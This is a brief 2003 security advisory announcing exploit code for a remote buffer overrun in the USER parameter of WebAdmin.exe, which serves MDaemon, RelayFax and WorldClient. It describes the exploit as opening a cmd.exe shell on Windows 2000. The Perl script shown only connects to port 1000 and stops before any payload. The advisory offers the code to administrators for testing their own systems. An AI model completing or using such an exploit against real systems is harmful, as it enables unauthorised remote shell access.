Exploit Released for Buffer Overrun in WebAdmin.exe
24 Jun. 2003
Summary
WebAdmin allows administrators to securely manage MDaemon, RelayFax, and WorldClient from anywhere in the world. As we reported in our previous article: Remote System Buffer Overrun in WebAdmin.exe, there is a remotely exploitable buffer overrun in the USER parameter. The following exploit code can be used by administrators to test their system for the mentioned vulnerability.
Exploit:
The exploit code below will simply open up a cmd.exe shell, the exploit code has been hard coded to use Windows 2000 addresses, though it is simple enough to modify it to use other addresses.
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "1000",
);
unless ($remote) { die "cannot connect to http daemon on $host" }
